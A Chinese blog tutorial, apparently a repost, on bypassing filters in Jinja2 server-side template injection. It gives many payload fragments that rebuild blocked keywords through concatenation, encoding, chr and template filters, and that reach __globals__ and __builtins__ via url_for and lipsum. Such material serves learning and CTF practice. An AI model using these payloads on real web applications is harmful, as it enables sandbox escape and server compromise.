SSTI模板注入绕过(进阶篇)

article/2025/10/10 4:42:12

文章目录

  • 语法
  • 变量
  • 过滤器
  • 总结
    • 获取内置方法 以chr为例
    • 字符串构造
    • 获取键值或下标
    • 获取属性

下面的内容均以jinja2为例,根据官方文档来探寻绕过方法
文档链接
默认大家都已经可以利用没有任何过滤的模板注入

语法

官方文档对于模板的语法介绍如下

{% ... %} for Statements {{ ... }} for Expressions to print to the template output{# ... #} for Comments not included in the template output#  ... # for Line Statements

{%%}可以用来声明变量,当然也可以用于循环语句和条件语句。
{{}}用于将表达式打印到模板输出
{##}表示未包含在模板输出中的注释
##可以有和{%%}相同的效果

{% set x= 'abcd' %}  声明变量
{% for i in ['a','b','c'] %}{{i}}{%endfor%} 循环语句
{% if 25==5*5 %}{{1}}{% endif %}  条件语句
# for i in ['a','1']
{{ i }}
# endfor{% for i in ['a','1'] %}
{{ item }}
{% endfor %}这两条是等效的,但是有个前提,必须在environment中配置line_statement_prefix
即
app.jinja_env.line_statement_prefix="#"
但我尝试之后发现开启不了,不知道为什么

变量

You can use a dot (.) to access attributes of a variable in addition to the standard Python __getitem__ “subscript” syntax ([]). --官方原文

也就是说
除了标准的python语法使用点(.)外,还可以使用中括号([])来访问变量的属性。
比如

{{"".__class__}}
{{""['__classs__']}}

所以过滤了点,我们还可以用中括号绕过。
如果想调用字典中的键值,其本质其实是调用了魔术方法__getitem__
所以对于取字典中键值的情况不仅可以用[],也可以用__getitem__
当然对于字典来说,我们也可以用他自带的一些方法了。pop就是其中的一个

pop(key[,default])
参数
key: 要删除的键值
default: 如果没有 key,返回 default 值
删除字典给定键 key 所对应的值,返回值为被删除的值。key值必须给出。 否则,返回default值。

我们要使用字典中的键值的话,也可以用list.pop("var"),但大家最好不要用这个,除非万不得已,因为会删除里面的键,如果删除的是一些程序运行需要用到的,就可能使得服务器崩溃。然后过了一遍字典的方法,发现getsetdefault是个不错的选择

dict.get(key, default=None)
返回指定键的值,如果值不在字典中返回default值dict.setdefault(key, default=None)
和get()类似, 但如果键不存在于字典中,将会添加键并将值设为default
{{url_for.__globals__['__builtins__']}}
{{url_for.__globals__.__getitem__('__builtins__')}}
{{url_for.__globals__.pop('__builtins__')}}
{{url_for.__globals__.get('__builtins__')}}
{{url_for.__globals__.setdefault('__builtins__')}}

那么调用对象的方法具体是什么原理呢,其实他是调用了魔术方法__getattribute__

"".__class__
"".__getattribute__("__class__")

如果题目过滤了class或者一些关键字,我们是不是就可以通过字符串处理进行拼接了。
对于我们来说,能转换成字符串会更好处理一些。
那我们就顺势讲一下字符串的一些处理方法。
1、拼接
"cla"+"ss"
2、反转
"__ssalc__"[::-1]

但是实际上我发现其实加号是多余的,在jinjia2里面,"cla""ss"是等同于"class"的,也就是说我们可以这样引用class,并且绕过字符串过滤

""["__cla""ss__"]
"".__getattribute__("__cla""ss__")
""["__ssalc__"][::-1]
"".__getattribute__("__ssalc__"[::-1])

3、ascii转换

"{0:c}".format(97)='a'
"{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)='__class__'

4、编码绕过

"__class__"=="\x5f\x5fclass\x5f\x5f"=="\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"
对于python2的话,还可以利用base64进行绕过
"__class__"==("X19jbGFzc19f").decode("base64")

5、利用chr函数
因为我们没法直接使用chr函数,所以需要通过__builtins__找到他

{% set chr=url_for.__globals__['__builtins__'].chr %}
{{""[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)]}}

6、在jinja2里面可以利用~进行拼接

{%set a='__cla' %}{%set b='ss__'%}{{""[a~b]}}

7、大小写转换
前提是过滤的只是小写

""["__CLASS__".lower()]

先想到这些,下面讲过滤器再补充

过滤器

原文介绍

Variables can be modified by filters. Filters are separated from the variable by a pipe symbol (|) and may 
have optional arguments in parentheses. Multiple filters can be chained. The output of one filter is 
applied to the next.
For example, {{ name|striptags|title }} will remove all HTML Tags from variable name and title-case the
output (title(striptags(name))).变量可以通过过滤器修改。过滤器与变量之间用管道符号(|)隔开,括号中可以有可选参数。可以链接多
个过滤器。一个过滤器的输出应用于下一个过滤器。例如,{{ name|striptags|title }} 将删除变量名中的所有HTML标记,并将title大小写为输出(title(striptags(name)))。

讲几个对我们进行模板注入比较实用的吧,其他的大家可以去文档中学习。

attr

Get an attribute of an object. foo|attr("bar") works like foo.bar just that always an attribute is returned and 
items are not looked up.

也就是说 attr用于获取变量
例如

""|attr("__class__")
相当于
"".__class__

这个大家应该见的比较多了,常见于点号(.)被过滤,或者点号(.)和中括号([])都被过滤的情况。

format

Apply the given values to a printf-style format string, like string % values.

功能和我们前面讲到的字符串绕过中的format类似。
用法
{ "%s, %s!"|format(greeting, name) }}
那么我们想要调用__class__就可以用format了

"%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)=='__class__'
""["%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)]

first last random

Return the first item of a sequence.
Return the last item of a sequence.
Return a random item from the sequence.

前两个其实用处不是很大,因为他只能返回第一个值或者最后一个,当然,如果我们用的就是第一个或者最后一个那就ok了。
random的话是随机返回,这样我们跑个脚本肯定是可以得到我们想要的。

"".__class__.__mro__|last()
相当于
"".__class__.__mro__[-1]

join

Return a string which is the concatenation of the strings in the sequence. The separator between elements is an
empty string per default, you can define it with the optional parameter:{{ [1, 2, 3]|join('|') }}-> 1|2|3{{ [1, 2, 3]|join }}-> 123
It is also possible to join certain attributes of an object:{{ users|join(', ', attribute='username') }}

这个用处就相当大了,我们貌似又多了一种字符串拼接的方法

""[['__clas','s__']|join] 或者 ""[('__clas','s__')|join]
相当于
""["__class__"]

lower

Convert a value to lowercase.
功能类似于前面的转换成小写
""["__CLASS__"|lower]

replace reverse

Return a copy of the value with all occurrences of a substring replaced with a new one. The first 
argument is the substring that should be replaced, the second is the replacement string. If the optional 
third argument count is given, only the first count occurrences are replacedReverse the object or return an iterator that iterates over it the other way round.

我们可以利用替换和反转还原回我们要用的字符串了

"__claee__"|replace("ee","ss") 构造出字符串 "__class__"
"__ssalc__"|reverse 构造出 "__class__"

string

Make a string unicode if it isn’t already. That way a markup string is not converted back to unicode.

功能类似于python内置函数 str
有了这个的话我们可以把显示到浏览器中的值全部转换为字符串再通过下标引用,就可以构造出一些字符了,再通过拼接就能构成特定的字符串。

().__class__   出来的是<class 'tuple'>
(().__class__|string)[0] 出来的是<

select unique

Filters a sequence of objects by applying a test to each object, and only selecting the objects with the test succeeding.
If no test is specified, each object will be evaluated as a boolean.
通过对每个对象应用测试并仅选择测试成功的对象来筛选对象序列。
如果没有指定测试,则每个对象都将被计算为布尔值Returns a list of unique items from the given iterable.

这两个乍一看感觉没啥用处,其实如果我们和上面的结合就会发现他们巨大的用处

()|select|string
结果如下
<generator object select_or_reject at 0x0000022717FF33C0>

这样我们会拥有比前面更多的字符来用于拼接

(()|select|string)[24]~
(()|select|string)[24]~
(()|select|string)[15]~
(()|select|string)[20]~
(()|select|string)[6]~
(()|select|string)[18]~
(()|select|string)[18]~
(()|select|string)[24]~
(()|select|string)[24]得到字符串"__class__"

在这里插入图片描述

list

Convert the value into a list. If it was a string the returned list will be a list of characters.

转换成列表
更多的用途是配合上面的string转换成列表,就可以调用列表里面的方法取字符了
只是单纯的字符串的话取单个字符方法有限

(()|select|string)[0]
如果中括号被过滤了,挺难的
但是列表的话就可以用pop取下标了
当然都可以使用__getitem__
(()|select|string|list).pop(0)

过滤器也先写到这了,还有不少,大家可以自行研究。

总结

获取内置方法 以chr为例

"".__class__.__base__.__subclasses__()[x].__init__.__globals__['__builtins__'].chr
get_flashed_messages.__globals__['__builtins__'].chr
url_for.__globals__['__builtins__'].chr
lipsum.__globals__['__builtins__'].chr
x.__init__.__globals__['__builtins__'].chr  (x为任意值)

获取字符串
具体原理可参考文章

request.args.x1   	get传参
request.values.x1 	get、post传参
request.cookies
request.form.x1   	post传参	(Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data  		post传参	(Content-Type:a/b)
request.json		post传json  (Content-Type: application/json)

字符串构造

1、拼接
"cla"+"ss"
2、反转
"__ssalc__"[::-1]

但是实际上我发现其实加号是多余的,在jinjia2里面,"cla""ss"是等同于"class"的,也就是说我们可以这样引用class,并且绕过字符串过滤

""["__cla""ss__"]
"".__getattribute__("__cla""ss__")
""["__ssalc__"[::-1]]
"".__getattribute__("__ssalc__"[::-1])

3、ascii转换

"{0:c}".format(97)='a'
"{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)='__class__'

4、编码绕过

"__class__"=="\x5f\x5fclass\x5f\x5f"=="\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"
对于python2的话,还可以利用base64进行绕过
"__class__"==("X19jbGFzc19f").decode("base64")

5、利用chr函数
因为我们没法直接使用chr函数,所以需要通过__builtins__找到他

{% set chr=url_for.__globals__['__builtins__'].chr %}
{{""[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)]}}

6、在jinja2里面可以利用~进行拼接

{%set a='__cla' %}{%set b='ss__'%}{{""[a~b]}}

7、大小写转换
前提是过滤的只是小写

""["__CLASS__".lower()]

8、利用过滤器

('__clas','s__')|join
["__CLASS__"|lower
"__claee__"|replace("ee","ss") 
"__ssalc__"|reverse
"%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)(()|select|string)[24]~
(()|select|string)[24]~
(()|select|string)[15]~
(()|select|string)[20]~
(()|select|string)[6]~
(()|select|string)[18]~
(()|select|string)[18]~
(()|select|string)[24]~
(()|select|string)[24]dict(__clas=a,s__=b)|join

获取键值或下标

dict['__builtins__']
dict.__getitem__('__builtins__')
dict.pop('__builtins__')
dict.get('__builtins__')
dict.setdefault('__builtins__')
list[0]
list.__getitem__(0)
list.pop(0)

获取属性

().__class__
()["__class__"]
()|attr("__class__")
().__getattribute__("__class__")

转载请联系笔者


http://chatgpt.dhexx.cn/article/QluWI8Vh.shtml

相关文章

学习ssti

ssti也叫做模板注入 当不正确的使用模板引擎进行渲染时&#xff0c;则会造成模板注入 比如render_template_string函数&#xff0c;当参数可控时&#xff0c;会造成模板注入 在Python的ssti中&#xff0c;大部分是依靠基类->子类->危险函数的方式来利用ssti python沙…

Simple_SSTI_1与Simple_SSTI_2

目录 一&#xff0c;Simple_SSTI_1 二&#xff0c;Simple_SSTI_2 一&#xff0c;Simple_SSTI_1 首先打开场景&#xff1a; 然后F12查看一下源码&#xff1a; 于是通过百度相关知识寻找线索&#xff1a; 1&#xff0c;SSTI &#xff1a;服务器端模版注入是指攻击者能够使用本…

Flask SSTI漏洞介绍及利用

1.ssti成因 flask使用jinjia2渲染引擎进行网页渲染&#xff0c;当处理不得当&#xff0c;未进行语句过滤&#xff0c;用户输入{{控制语句}}&#xff0c;会导致渲染出恶意代码&#xff0c;形成注入。 2.使用render_template()渲染页面时不存在注入漏洞。 对传入的参数不会执行…

ssti小总结

漏洞简介 SSTI即服务端模版注入攻击。由于程序员代码编写不当&#xff0c;导致用户输入可以修改服务端模版的执行逻辑&#xff0c;从而造成XSS,任意文件读取&#xff0c;代码执行等一系列问题. 1. 几种常用于ssti的魔术方法 __class__ 返回类型所属的对象 __mro__ 返回一个…

SSTI---总结

Laravel Blade是Laravel提供的一个既简单又强大的模板引擎 和其他流行的PHP模板引擎不一样&#xff0c;Blade并不限制你在视图view中使用原生的PHP代码 所有的Blade视图页面都将被编译成原生的PHP代码并缓存起来&#xff0c;除非你的的模板文件修改&#xff0c;否则不会重新编…

SSTI入门详解

文章目录 关于基于flask的SSTI漏洞的阶段学习小结&#xff1a;SSTI的理解&#xff1a;SSTI引发的真正原因&#xff1a;render_template渲染函数是什么&#xff1a;render_template&#xff1a;注入的思想&#xff1a;playload 娓娓道来&#xff1a;魔术对象&#xff1a;用魔术对…

SSTI完全学习

一、什么是SSTI SSTI就是服务器端模板注入(Server-Side Template Injection),也给出了一个注入的概念。 常见的注入有:SQL 注入,XSS 注入,XPATH 注入,XML 注入,代码注入,命令注入等等。sql注入已经出世很多年了,对于sql注入的概念和原理很多人应该是相当清楚了,SSTI…

SSTI简单总结和例题

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 目录 前言 一、SSTI是什么&#xff1f; 二、关于Python的类 1、__class__类 2、__bases__ 3、__subclasses__ 4、还用到过的一些类 三、SSTI漏洞的简单复现 四、CTF…

SSTI模板注入

SSTI模板注入 1.SSTI简介 SSTI 就是服务器端模板注入&#xff08;Server-Side Template Injection&#xff09; ​ 当前使用的一些框架&#xff0c;比如python的flask&#xff0c;php的tp&#xff0c;java的spring等一般都采用成熟的的MVC的模式&#xff0c;用户的输入先进入…

SSTI基础学习

一、什么是SSTI SSTI就是服务器端模板注入(Server-Side Template Injection)&#xff0c;也给出了一个注入的概念。 常见的注入有&#xff1a;SQL 注入&#xff0c;XSS 注入&#xff0c;XPATH 注入&#xff0c;XML 注入&#xff0c;代码注入&#xff0c;命令注入等等。SSTI也是…

SSTI模板注入总结

文章目录 一、初识SSTI二、判断SSTI类型三、常用类1、__class__2、__bases__3、__subclasses__()4、类的知识总结&#xff08;转载)5、常见过滤器&#xff08;转载&#xff09; 四、CTF例题[BJDCTF]The mystery of ip[Bugku]Simple_SSTI_1[Bugku]Simple_SSTI_2 一、初识SSTI 1…

推荐一款数据分析软件DataLab

1月6日&#xff0c;科学数据中心软件栈正式发布数据分析软件DataLab v1.0.0&#xff0c;成为软件栈家族的第8名成员。 DataLab致力于提供领域可定制的科学数据软件分析框架&#xff0c;集成通用的科学数据处理组件和存算环境的一体化管理与调度&#xff0c;各科学数据中心/科研…

做数据分析,软件工具少不了,好用的数据分析软件工具

​大数据属于广泛性的术语&#xff0c;多指庞大而复杂的数据集等&#xff0c;他们需要专门设计的工具来进行处理。这些数据集收集自各种各样的来源&#xff1a;公开的信息等&#xff0c;如杂志&#xff0c;报纸&#xff0c;文章。大数据生成的其他例子包括购买交易记录&#xf…

2020十大最佳大数据分析工具

作者&#xff1a;Sunita Chauhan 转自&#xff1a;InfoQ https://www.infoq.cn/article/IEIa8zX2s0KpLYi34ocE 营销的基本原理是一致的&#xff0c;每个人都喜欢洞察力&#xff0c;因为这些数字模式可以提供最安全的方法来确保企业采取正确的行动&#xff0c;更有效地运作&…

【数据分析】33个热门数据分析软件,你都用过哪些?

最近有一位小伙伴问我&#xff0c;做数据岗该学习哪些软件&#xff0c;我想了想扔给他33个软件 数据分析工具类软件&#xff0c;大体可以分为以下5类&#xff1a; Excel生态工具、数理统计工具、BI工具、数据库工具、编程工具 &#xff08;Excel单独分成一类&#xff0c;主要是…

python数据分析用什么软件

Python是数据处理常用工具&#xff0c;可以处理数量级从几K至几T不等的数据&#xff0c;具有较高的开发效率和可维护性&#xff0c;还具有较强的通用性和跨平台性&#xff0c;这里就为大家分享几个不错的数据分析工具。 Python数据分析需要安装的第三方扩展库有&#xff1a;Num…

4大热门数据分析软件怎么选?看这篇就够了

有时候我们发现&#xff0c;技术和工具并不是核心要素&#xff0c;基于客户需求体验的产品设计和专业工程实施能力才是关键。大部分优秀的数据工具产品&#xff0c;也是胜在对数据的理解和治理的方法论上&#xff0c;赋以相应的工具&#xff0c;让能力加特。 机器学习、人工智…

盘点2021年10个顶级数据分析软件,及优缺点对比

1、Tableau公司 关键见解&#xff1a;即使在市场领导者中&#xff0c;Tableau公司也是数据分析软件市场上的顶级供应商。该公司于2019年被Salesforce公司收购。 该公司的数据分析平台以收集多个数据输入而闻名&#xff0c;允许用户将它们组合在一起&#xff0c;然后提供仪表板…

分析数据的软件有哪些?这几款数据分析软件不用会后悔

数据分析软件种类繁多&#xff0c;使用难度、场景、效率不一。日常的数据分析&#xff0c;Excel就能满足大部分需求&#xff0c;不过在数据量越来越大、维度越来越多、分析越来越复杂的今天&#xff0c;仅靠Excel解决也不现实&#xff0c;不过不用担心&#xff0c;市面上可分析…

六款超好用的大数据分析工具

一、大数据分析工具——Hadoop Hadoop是一个能够对大量数据进行分布式处理的软件框架。但是Hadoop是以一种可靠、高效、可伸缩的方式进行处理的。Hadoop是可靠的&#xff0c;因为它假设计算元素和存储会失败&#xff0c;因此它维护多个工作数据副本&#xff0c;确保能够针对失…